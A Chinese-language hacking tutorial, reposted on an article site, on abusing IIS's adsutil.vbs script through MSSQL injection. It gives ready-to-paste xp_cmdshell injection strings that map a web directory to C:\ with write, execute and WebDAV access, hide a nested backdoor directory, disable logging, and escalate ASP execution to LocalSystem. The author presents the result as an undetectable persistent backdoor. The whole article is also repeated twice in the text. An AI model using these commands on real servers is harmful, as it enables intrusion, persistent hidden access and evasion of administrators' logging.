Adsutil.vbs 在脚本攻击中的妙用[我非我原创]
程序员文章站
2022-03-20 13:59:15
一、简单介绍 adsutil.vbs是什么?相信用过iis的网管员不会不知道。这是iis自带的提供于命令行下管理iis的一个脚本。位于%systemdrive%...
一、简单介绍
adsutil.vbs是什么?相信用过iis的网管员不会不知道。这是iis自带的提供于命令行下管理iis的一个脚本。位于%systemdrive%\inetpub\adminscripts目录下。足足有95,426 字节大小。这么大的脚本一看就知道功能强大。事实也的确如此。基本上我的感觉它就是个命令行下的“internet 信息服务管理器”。(事实上2000的服务器上%systemdrive%\inetpub\adminscripts下原有20多个vbs文件以供管理。而到了2003则只剩下adsutil.vbs一个了。足以说明它的功能是多么复杂)
提到adsutil.vbs就不得不提到metabase.bin。这个文件是iis最重要的配置文件。所有对iis的设置最终都会储存在这个文件中。iis管理器和adsutil.vbs就是通过对这个文件读取配置信息来显示给用户的。metabase.bin的储存结构十分像注册表,是一种树型储存结构。iis管理器和adsutil.vbs通过一个adspath的路径来访问metabase.bin。路径是由iis:\开头,其中localhost表示本地服务器,而w3svc表示iis服务。如iis:\localhost/w3svc/1表示本地服务器上的第一个web站点。iis:\localhost/w3svc/1/root/vdir表示第一个web站点根目录下的vdir虚拟目录。
有了这些前置知识,下面再回到adsutil.vbs来看看它的用法吧:
c:\inetpub\adminscripts>cscript adsutil.vbs //别忘了键入cscript.exe这个脚本宿主文件名哦
microsoft (r) windows script host version 5.6
版权所有(c) microsoft corporation 1996-2001。保留所有权利。
usage:
adsutil.vbs <cmd> [<path> [<value>]]
description:
iis administration utility that enables the configuration of metabase properties
.
supported commands: //支持的命令。这个最重要
get, set, enum, delete, create, copy,
appcreateinproc, appcreateoutproc, appcreatepoolproc, appdelete, appunload, ap
pgetstatus
samples: //简单的几个例子
adsutil.vbs get w3svc/1/serverbindings //查看第一个虚拟web站点的邦定端口。这里的w3svc/1是iis:\ localhostw3svc/1的简写,而serverbindings是他的属性。下同。
adsutil.vbs set w3svc/1/serverbindings ":81:" //设定第一个虚拟web站点的邦定端口为81。
adsutil.vbs create w3svc/1/root/myvdir "iiswebvirtualdir" //在第一个虚拟web站点根目录下建立一个myvdir的虚拟目录。后面的"iiswebvirtualdir"指的是目录类型。
adsutil.vbs start_server w3svc/1 //启动第一个虚拟web站点。
adsutil.vbs enum /p w3svc //查看iis的所有站点。
for extended help type:
adsutil.vbs help //如果想要进一步的查看帮助,键入此命令。我这里就不转了。防止有人说我赚稿费。大家可以自己看看。
以上“//”后的文字都是我添加上去的注释(下同)。相信这样应该可以看懂了吧大家。
我们所常用的adsutil.vbs的命令有这么几个:get, set, enum, delete, create。现在我来一一说明:
get命令通常是用来查看目录的各项属性值的。set是用来设定目录属性用的。enum也是用来查看属性。所不同的是他直接把所有设置了的属性直接全部显示出来。通常一个目录就有好几页东西可看……他有个可选的“/p”开关符。加上了此开关的话。他只会列出此目录下的所有虚拟目录。delete命令是用来删除虚拟目录的。create则是创建一个虚拟目录。另外还有几个命令:start_server、stop_server、pause_server、continue _server。分别是启动、停止、暂停、继续虚拟站点的运行。
一个虚拟目录的大致属性值如下(我只列出了可能我们所常用的,否则会太长了):
keytype : (string) "iiswebvirtualdir" //目录类型,(string)说明它是个字符串类型的属性
approot : (string) "/lm/w3svc/1/root" //目录iis路径
appfriendlyname : (string) "默认应用程序" //应用程序名
appisolated : (integer) 2 //指定运行于进程外还是进程中,数字类型属性。
httpcustomheaders : (list) (1 items) //自定义iis数据头
"powered by : www.wofeiwo.info"
httperrors : (list) (42 items) //各种iis代码所返回的页面。可以自行设置。我这里将会显省略了。
defaultdoc : (string) "default.htm,index.htm,default.asp,in
dex.asp,default.php,index.php,default.aspx,index.aspx" //目录的默认主页面名称。
path : (string) "d:\ftp" //目录所真正映射的物理路径
accessflags : (integer) 513 //我也不知道这是啥。反正没设置过。好像会自动设置的
accessexecute : (boolean) false //目录的执行权限,是布尔值
accesssource : (boolean) false //目录的webdav访问是否允许
accessread : (boolean) true //目录的只读权限
accesswrite : (boolean) false //目录的写权限
accessscript : (boolean) true //目录是否允许执行脚本
accessnoremoteexecute : (boolean) false
accessnoremoteread : (boolean) false
accessnoremotewrite : (boolean) false
accessnoremotescript : (boolean) false
accessnophysicaldir : (boolean) false
scriptmaps : (list) (27 items) //应用程序扩展名映射
".asa,c:\windows\system32\inetsrv\asp.dll,5,get,head,post,trace"
".asp,c:\windows\system32\inetsrv\asp.dll,5,get,head,post,trace"
".aspx,c:\windows\microsoft.net\framework\v1.1.4322\aspnet_isapi.dll,1,get,hea
d,post,debug"
……………… //这里省略了n多数据
aspenableparentpaths : (boolean) true
apppoolid : (string) "defaultapppool" //应用程序池名称
dontlog : (boolean) true //禁止iislog纪录
dirbrowseflags : (integer) -1073741762
enabledirbrowsing : (boolean) true //目录是否允许列目录
dirbrowseshowdate : (boolean) true //这里及以下都是显示目录时的参数设置。英文都很简单。我也就不多说了。
dirbrowseshowtime : (boolean) true
dirbrowseshowsize : (boolean) true
dirbrowseshowextension : (boolean) true
dirbrowseshowlongdate : (boolean) true
enabledefaultdoc : (boolean) true //是否开启默认主页文档
以上是我用cscript adsutil.vbs enum w3svc/1/root命令在自己机器上察看到的。大家也可以自己输入以上命令研究。
上面的属性我们都可以来通过set命令来进行设置。如下方式:
cscript adsutil.vbs set w3svc/1/root/目录名/属性名 设置值
如:cscript adsutil.vbs set w3svc/1/root/wofeiwo/accessread 1 //设置第一个虚拟web站点下的wofeiwo虚拟目录的可读权限为ture
或:cscript adsutil.vbs set w3svc/1/root/wofeiwo/path “c:\” //设置目录的映射路径是“c:\”
下面来看看我们的简单利用的例子
二、adsutil.vbs的利用
(一)mssql injection的上传新思路
或许大家会在mssql的注入中碰到这种情况:sa权限。可以执行cmd命令(xp_cmdshell、sp_oacreate、job等等)。可是服务器是在内网。外面是个堡垒主机。只是做了个80端口的映射。3389开了没有用(内网连不上啊),所有反向木马也传不上去(tftp、ftp、wget、exe2bat等等)这时候你该怎么办?
amanl大哥经典的《榨干mssql最后一滴血》给我们一个很好的思路:就是利用%systemdrive%\inetpub\adminscripts下的vbs建立一个新的虚拟目录。自定义其映射的绝对路径。这样可以绕过了对web绝对路径的猜解。然后通过backup或maskwebtask备份数据库或临时表到虚拟目录下(或是直接echo)就可以得到了一个shell。
上面的想法的确很好。可是用过臭要饭的getwebshell或小竹的nbupfile的人都知道backup或maskwebtask的成功率有多么的低……而echo……我也不想说了。一行一行写那简直是找罪受。(还要不停的转特殊字符……)
其实我们可以把amanl大哥的想法改进一下。在我们建立一个新的虚拟目录的时候。可以加上写目录的权限。再加上webdav……那么我们不久可以直接通过iis上传任何文件了吗?也不仅仅局限于文本文件了。如果我们上传了个反向后门在通过sa执行……呵呵,一切就都搞定了!
来,马上实行:
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs create w3svc/1/root/wofeiwo "iiswebvirtualdir"';--
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs cscript adsutil.vbs set w3svc/1/root/wofeiwo/path “c:\”';--
注意上面的特殊字符要自己转变。或者你可以用nbsi2或者小路的sqlcomm来执行以上命令。
这样我们就在第一个web站点下建立了一个wofeiwo的虚拟目录,映射到了c:根目录。我再给他加上读和写的权限,为了要一个webshell ,我再加上执行脚本的权限:
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs set w3svc/1/root/wofeiwo/accessread 1';--
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs set w3svc/1/root/wofeiwo/accesswrite 1';--
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs set w3svc/1/root/wofeiwo/accessscript 1';--
写到这看过surperhei《对iis写权限的利用》的朋友可能会想要自己构造http包来上传文件。其实有更简单的方法:
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs set w3svc/1/root/wofeiwo/enabledirbrowsing 1';--
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs set w3svc/1/root/wofeiwo/accesssource 1';--
设置为允许列目录和webdav访问,然后打开你的ie,ctrl+o打开“打开”对话框,键入你刚才设置的虚拟目录。选中“以web文件夹方式打开”,确定。如图:
图一
啊哈!看到所有的文件夹了吗?如图所示:
图二
现在你就可以像操作普通文件夹一样操作以上文件了。还可以ctrl+c、ctrl+v复制文件呢。实现了方便上传、修改文件的功能。
(二)更进一步
其实我们完全可以更进一步利用上面所说的思路直接制作一个iis后门。来,看我的实现!(这里使用了动鲨在《近乎完美的iis后门》中所介绍的方法。不过我是直接用adsutil.vbs这个ms自带的工具完成了设置。对此文章感兴趣的朋友可以自己找来看看。)
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs create w3svc/1/root/wofeiwo "iiswebvirtualdir"';-- //首先建立一个wofeiwo目录。
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs create w3svc/1/root/wofeiwo/door "iiswebvirtualdir"';-- //在wofeiwo目录下又建立了一个door目录。
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs cscript adsutil.vbs set w3svc/1/root/wofeiwo/door/path “c:\”';-- //设置door目录映射到c:根目录。
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs set w3svc/1/root/wofeiwo/door/accessread 1';-- //这里及以下都是给目录设置个种权限。可以参考以上的命令注释。
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs set w3svc/1/root/wofeiwo/door/accesswrite 1';--
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs set w3svc/1/root/wofeiwo/door/accessscript 1';--
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs set w3svc/1/root/wofeiwo/door/dontlog 1';--
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs set w3svc/1/root/wofeiwo/door/enabledirbrowsing 1';--
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs set w3svc/1/root/wofeiwo/door/accesssource 1';--
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs set w3svc/1/root/wofeiwo/door/accessexecute 1';--
可能会有人说,什么阿。不就是和上面的一样吗?呵呵。其实你仔细看。会发现我们上面新建的第一个目录“wofeiwo”并没有设置“path”属性。也就是说他没有映射到任何实际的目录上去。这里应用了iis的一个漏洞(涉及到iis5.0.1.0)。即对于没有“path”属性的虚拟目录是不会在iis管理器中出现的。相当于一个隐藏的目录。而其下的虚拟目录“door”同样是由于上级目录不可见的,所以它也是不可见的!但是“door”目录是设置了“path”属性的。所以如果我们提交http://ip/wofeiwo/door/ 路径。其结果是会返回c:下的文件目录。现在此目录已经是我们可以任意写文件读文件了。并且还可以转到system32目录下对程序进行运行。我们的后门雏形建成了。(注意看我这里是加上了accessexecute执行权限的)
但是我们现在执行的程序都还是iis默认的iusr用户的guest权限。没有大的权限我们总是不爽。下面来提升我们的权限,加iusr用户为管理员就不说了。下面说说另两个方法:
1、设置appisolated,使此目录下程序在iis的进程中进行。这样就继承了iis的system权限。
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs set w3svc/1/root/wofeiwo/door/ appisolated 0';--
2、 将解析asp文件的asp.dll加入到iis的特权dll中。使得其在进程中运行。从而的到iis的localsystem权限。
1)首先得到iis所有的特权dll
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs get w3svc/inprocessisapiapps';--
返回:
inprocessisapiapps : (list) (5 items)
"c:\windows\system32\inetsrv\httpext.dll"
"c:\windows\system32\inetsrv\httpodbc.dll"
"c:\windows\system32\inetsrv\ssinc.dll"
"c:\windows\system32\msw3prt.dll"
"c:\windows\microsoft.net\framework\v1.1.4322\aspnet_isapi.dll"
2) 将asp.dll设置到inprocessisapiapps组中去,这里要注意,把上面的所有查到的dll都加上,否则会被删除。
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs set w3svc/inprocessisapiapps "c:\windows\system32\inetsrv\httpext.dll" "c:\windows\system32\inetsrv\httpodbc.dll" "c:\windows\system32\inetsrv\ssinc.dll" "c:\windows\system32\msw3prt.dll" "c:\windows\microsoft.net\framework\v1.1.4322\aspnet_isapi.dll" "c:\windows\system32\inetsrv\asp.dll"';--
返回:
inprocessisapiapps : (list) "c:\windows\system32\inetsrv\httpext.dll" "c:\windows\system32\inetsrv\httpodbc.dll" "c:\windows\system32\inetsrv\ssinc.dll" "c:\windows\system32\msw3prt.dll" "c:\windows\microsoft.net\framework\v1.1.4322\aspnet_isapi.dll" "c:\windows\system32\inetsrv\asp.dll"
这样就设置好了。以后无论什么asp文件就都是 loaclsystem权限了。通过以上的步骤。我们的iis后门基本上就是设置好了。你可以上传asp木马加以辅助控制。这样的设置型后门是很难被管理员发现的。并且完全通过iis的80端口通讯。又没有日志记录。所以相当安全。
三、结言
到这里我关于adsutil.vbs的一点简单应用就结束了。突然发现文章已经写了那么多了。哇啊啊……文章写得好累阿。由于本人是一菜鸟。文章难免有疏漏。还请大家多多指教。有什么疑问请和我联系。我的邮箱:wofeiwo@bugkidz.org。或者大家可以到火狐技术联盟http://www.wrsky.com来找我。我的id:我非我。是论坛新手版的版主。
adsutil.vbs是什么?相信用过iis的网管员不会不知道。这是iis自带的提供于命令行下管理iis的一个脚本。位于%systemdrive%\inetpub\adminscripts目录下。足足有95,426 字节大小。这么大的脚本一看就知道功能强大。事实也的确如此。基本上我的感觉它就是个命令行下的“internet 信息服务管理器”。(事实上2000的服务器上%systemdrive%\inetpub\adminscripts下原有20多个vbs文件以供管理。而到了2003则只剩下adsutil.vbs一个了。足以说明它的功能是多么复杂)
提到adsutil.vbs就不得不提到metabase.bin。这个文件是iis最重要的配置文件。所有对iis的设置最终都会储存在这个文件中。iis管理器和adsutil.vbs就是通过对这个文件读取配置信息来显示给用户的。metabase.bin的储存结构十分像注册表,是一种树型储存结构。iis管理器和adsutil.vbs通过一个adspath的路径来访问metabase.bin。路径是由iis:\开头,其中localhost表示本地服务器,而w3svc表示iis服务。如iis:\localhost/w3svc/1表示本地服务器上的第一个web站点。iis:\localhost/w3svc/1/root/vdir表示第一个web站点根目录下的vdir虚拟目录。
有了这些前置知识,下面再回到adsutil.vbs来看看它的用法吧:
c:\inetpub\adminscripts>cscript adsutil.vbs //别忘了键入cscript.exe这个脚本宿主文件名哦
microsoft (r) windows script host version 5.6
版权所有(c) microsoft corporation 1996-2001。保留所有权利。
usage:
adsutil.vbs <cmd> [<path> [<value>]]
description:
iis administration utility that enables the configuration of metabase properties
.
supported commands: //支持的命令。这个最重要
get, set, enum, delete, create, copy,
appcreateinproc, appcreateoutproc, appcreatepoolproc, appdelete, appunload, ap
pgetstatus
samples: //简单的几个例子
adsutil.vbs get w3svc/1/serverbindings //查看第一个虚拟web站点的邦定端口。这里的w3svc/1是iis:\ localhostw3svc/1的简写,而serverbindings是他的属性。下同。
adsutil.vbs set w3svc/1/serverbindings ":81:" //设定第一个虚拟web站点的邦定端口为81。
adsutil.vbs create w3svc/1/root/myvdir "iiswebvirtualdir" //在第一个虚拟web站点根目录下建立一个myvdir的虚拟目录。后面的"iiswebvirtualdir"指的是目录类型。
adsutil.vbs start_server w3svc/1 //启动第一个虚拟web站点。
adsutil.vbs enum /p w3svc //查看iis的所有站点。
for extended help type:
adsutil.vbs help //如果想要进一步的查看帮助,键入此命令。我这里就不转了。防止有人说我赚稿费。大家可以自己看看。
以上“//”后的文字都是我添加上去的注释(下同)。相信这样应该可以看懂了吧大家。
我们所常用的adsutil.vbs的命令有这么几个:get, set, enum, delete, create。现在我来一一说明:
get命令通常是用来查看目录的各项属性值的。set是用来设定目录属性用的。enum也是用来查看属性。所不同的是他直接把所有设置了的属性直接全部显示出来。通常一个目录就有好几页东西可看……他有个可选的“/p”开关符。加上了此开关的话。他只会列出此目录下的所有虚拟目录。delete命令是用来删除虚拟目录的。create则是创建一个虚拟目录。另外还有几个命令:start_server、stop_server、pause_server、continue _server。分别是启动、停止、暂停、继续虚拟站点的运行。
一个虚拟目录的大致属性值如下(我只列出了可能我们所常用的,否则会太长了):
keytype : (string) "iiswebvirtualdir" //目录类型,(string)说明它是个字符串类型的属性
approot : (string) "/lm/w3svc/1/root" //目录iis路径
appfriendlyname : (string) "默认应用程序" //应用程序名
appisolated : (integer) 2 //指定运行于进程外还是进程中,数字类型属性。
httpcustomheaders : (list) (1 items) //自定义iis数据头
"powered by : www.wofeiwo.info"
httperrors : (list) (42 items) //各种iis代码所返回的页面。可以自行设置。我这里将会显省略了。
defaultdoc : (string) "default.htm,index.htm,default.asp,in
dex.asp,default.php,index.php,default.aspx,index.aspx" //目录的默认主页面名称。
path : (string) "d:\ftp" //目录所真正映射的物理路径
accessflags : (integer) 513 //我也不知道这是啥。反正没设置过。好像会自动设置的
accessexecute : (boolean) false //目录的执行权限,是布尔值
accesssource : (boolean) false //目录的webdav访问是否允许
accessread : (boolean) true //目录的只读权限
accesswrite : (boolean) false //目录的写权限
accessscript : (boolean) true //目录是否允许执行脚本
accessnoremoteexecute : (boolean) false
accessnoremoteread : (boolean) false
accessnoremotewrite : (boolean) false
accessnoremotescript : (boolean) false
accessnophysicaldir : (boolean) false
scriptmaps : (list) (27 items) //应用程序扩展名映射
".asa,c:\windows\system32\inetsrv\asp.dll,5,get,head,post,trace"
".asp,c:\windows\system32\inetsrv\asp.dll,5,get,head,post,trace"
".aspx,c:\windows\microsoft.net\framework\v1.1.4322\aspnet_isapi.dll,1,get,hea
d,post,debug"
……………… //这里省略了n多数据
aspenableparentpaths : (boolean) true
apppoolid : (string) "defaultapppool" //应用程序池名称
dontlog : (boolean) true //禁止iislog纪录
dirbrowseflags : (integer) -1073741762
enabledirbrowsing : (boolean) true //目录是否允许列目录
dirbrowseshowdate : (boolean) true //这里及以下都是显示目录时的参数设置。英文都很简单。我也就不多说了。
dirbrowseshowtime : (boolean) true
dirbrowseshowsize : (boolean) true
dirbrowseshowextension : (boolean) true
dirbrowseshowlongdate : (boolean) true
enabledefaultdoc : (boolean) true //是否开启默认主页文档
以上是我用cscript adsutil.vbs enum w3svc/1/root命令在自己机器上察看到的。大家也可以自己输入以上命令研究。
上面的属性我们都可以来通过set命令来进行设置。如下方式:
cscript adsutil.vbs set w3svc/1/root/目录名/属性名 设置值
如:cscript adsutil.vbs set w3svc/1/root/wofeiwo/accessread 1 //设置第一个虚拟web站点下的wofeiwo虚拟目录的可读权限为ture
或:cscript adsutil.vbs set w3svc/1/root/wofeiwo/path “c:\” //设置目录的映射路径是“c:\”
下面来看看我们的简单利用的例子
二、adsutil.vbs的利用
(一)mssql injection的上传新思路
或许大家会在mssql的注入中碰到这种情况:sa权限。可以执行cmd命令(xp_cmdshell、sp_oacreate、job等等)。可是服务器是在内网。外面是个堡垒主机。只是做了个80端口的映射。3389开了没有用(内网连不上啊),所有反向木马也传不上去(tftp、ftp、wget、exe2bat等等)这时候你该怎么办?
amanl大哥经典的《榨干mssql最后一滴血》给我们一个很好的思路:就是利用%systemdrive%\inetpub\adminscripts下的vbs建立一个新的虚拟目录。自定义其映射的绝对路径。这样可以绕过了对web绝对路径的猜解。然后通过backup或maskwebtask备份数据库或临时表到虚拟目录下(或是直接echo)就可以得到了一个shell。
上面的想法的确很好。可是用过臭要饭的getwebshell或小竹的nbupfile的人都知道backup或maskwebtask的成功率有多么的低……而echo……我也不想说了。一行一行写那简直是找罪受。(还要不停的转特殊字符……)
其实我们可以把amanl大哥的想法改进一下。在我们建立一个新的虚拟目录的时候。可以加上写目录的权限。再加上webdav……那么我们不久可以直接通过iis上传任何文件了吗?也不仅仅局限于文本文件了。如果我们上传了个反向后门在通过sa执行……呵呵,一切就都搞定了!
来,马上实行:
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs create w3svc/1/root/wofeiwo "iiswebvirtualdir"';--
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs cscript adsutil.vbs set w3svc/1/root/wofeiwo/path “c:\”';--
注意上面的特殊字符要自己转变。或者你可以用nbsi2或者小路的sqlcomm来执行以上命令。
这样我们就在第一个web站点下建立了一个wofeiwo的虚拟目录,映射到了c:根目录。我再给他加上读和写的权限,为了要一个webshell ,我再加上执行脚本的权限:
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs set w3svc/1/root/wofeiwo/accessread 1';--
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs set w3svc/1/root/wofeiwo/accesswrite 1';--
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs set w3svc/1/root/wofeiwo/accessscript 1';--
写到这看过surperhei《对iis写权限的利用》的朋友可能会想要自己构造http包来上传文件。其实有更简单的方法:
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs set w3svc/1/root/wofeiwo/enabledirbrowsing 1';--
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs set w3svc/1/root/wofeiwo/accesssource 1';--
设置为允许列目录和webdav访问,然后打开你的ie,ctrl+o打开“打开”对话框,键入你刚才设置的虚拟目录。选中“以web文件夹方式打开”,确定。如图:
图一
啊哈!看到所有的文件夹了吗?如图所示:
图二
现在你就可以像操作普通文件夹一样操作以上文件了。还可以ctrl+c、ctrl+v复制文件呢。实现了方便上传、修改文件的功能。
(二)更进一步
其实我们完全可以更进一步利用上面所说的思路直接制作一个iis后门。来,看我的实现!(这里使用了动鲨在《近乎完美的iis后门》中所介绍的方法。不过我是直接用adsutil.vbs这个ms自带的工具完成了设置。对此文章感兴趣的朋友可以自己找来看看。)
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs create w3svc/1/root/wofeiwo "iiswebvirtualdir"';-- //首先建立一个wofeiwo目录。
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs create w3svc/1/root/wofeiwo/door "iiswebvirtualdir"';-- //在wofeiwo目录下又建立了一个door目录。
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs cscript adsutil.vbs set w3svc/1/root/wofeiwo/door/path “c:\”';-- //设置door目录映射到c:根目录。
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs set w3svc/1/root/wofeiwo/door/accessread 1';-- //这里及以下都是给目录设置个种权限。可以参考以上的命令注释。
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs set w3svc/1/root/wofeiwo/door/accesswrite 1';--
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs set w3svc/1/root/wofeiwo/door/accessscript 1';--
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs set w3svc/1/root/wofeiwo/door/dontlog 1';--
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs set w3svc/1/root/wofeiwo/door/enabledirbrowsing 1';--
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs set w3svc/1/root/wofeiwo/door/accesssource 1';--
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs set w3svc/1/root/wofeiwo/door/accessexecute 1';--
可能会有人说,什么阿。不就是和上面的一样吗?呵呵。其实你仔细看。会发现我们上面新建的第一个目录“wofeiwo”并没有设置“path”属性。也就是说他没有映射到任何实际的目录上去。这里应用了iis的一个漏洞(涉及到iis5.0.1.0)。即对于没有“path”属性的虚拟目录是不会在iis管理器中出现的。相当于一个隐藏的目录。而其下的虚拟目录“door”同样是由于上级目录不可见的,所以它也是不可见的!但是“door”目录是设置了“path”属性的。所以如果我们提交http://ip/wofeiwo/door/ 路径。其结果是会返回c:下的文件目录。现在此目录已经是我们可以任意写文件读文件了。并且还可以转到system32目录下对程序进行运行。我们的后门雏形建成了。(注意看我这里是加上了accessexecute执行权限的)
但是我们现在执行的程序都还是iis默认的iusr用户的guest权限。没有大的权限我们总是不爽。下面来提升我们的权限,加iusr用户为管理员就不说了。下面说说另两个方法:
1、设置appisolated,使此目录下程序在iis的进程中进行。这样就继承了iis的system权限。
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs set w3svc/1/root/wofeiwo/door/ appisolated 0';--
2、 将解析asp文件的asp.dll加入到iis的特权dll中。使得其在进程中运行。从而的到iis的localsystem权限。
1)首先得到iis所有的特权dll
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs get w3svc/inprocessisapiapps';--
返回:
inprocessisapiapps : (list) (5 items)
"c:\windows\system32\inetsrv\httpext.dll"
"c:\windows\system32\inetsrv\httpodbc.dll"
"c:\windows\system32\inetsrv\ssinc.dll"
"c:\windows\system32\msw3prt.dll"
"c:\windows\microsoft.net\framework\v1.1.4322\aspnet_isapi.dll"
2) 将asp.dll设置到inprocessisapiapps组中去,这里要注意,把上面的所有查到的dll都加上,否则会被删除。
exec master..xp_cmdshell ‘cscript.exe %systemdrive%\inetpub\adminscripts\ adsutil.vbs set w3svc/inprocessisapiapps "c:\windows\system32\inetsrv\httpext.dll" "c:\windows\system32\inetsrv\httpodbc.dll" "c:\windows\system32\inetsrv\ssinc.dll" "c:\windows\system32\msw3prt.dll" "c:\windows\microsoft.net\framework\v1.1.4322\aspnet_isapi.dll" "c:\windows\system32\inetsrv\asp.dll"';--
返回:
inprocessisapiapps : (list) "c:\windows\system32\inetsrv\httpext.dll" "c:\windows\system32\inetsrv\httpodbc.dll" "c:\windows\system32\inetsrv\ssinc.dll" "c:\windows\system32\msw3prt.dll" "c:\windows\microsoft.net\framework\v1.1.4322\aspnet_isapi.dll" "c:\windows\system32\inetsrv\asp.dll"
这样就设置好了。以后无论什么asp文件就都是 loaclsystem权限了。通过以上的步骤。我们的iis后门基本上就是设置好了。你可以上传asp木马加以辅助控制。这样的设置型后门是很难被管理员发现的。并且完全通过iis的80端口通讯。又没有日志记录。所以相当安全。
三、结言
到这里我关于adsutil.vbs的一点简单应用就结束了。突然发现文章已经写了那么多了。哇啊啊……文章写得好累阿。由于本人是一菜鸟。文章难免有疏漏。还请大家多多指教。有什么疑问请和我联系。我的邮箱:wofeiwo@bugkidz.org。或者大家可以到火狐技术联盟http://www.wrsky.com来找我。我的id:我非我。是论坛新手版的版主。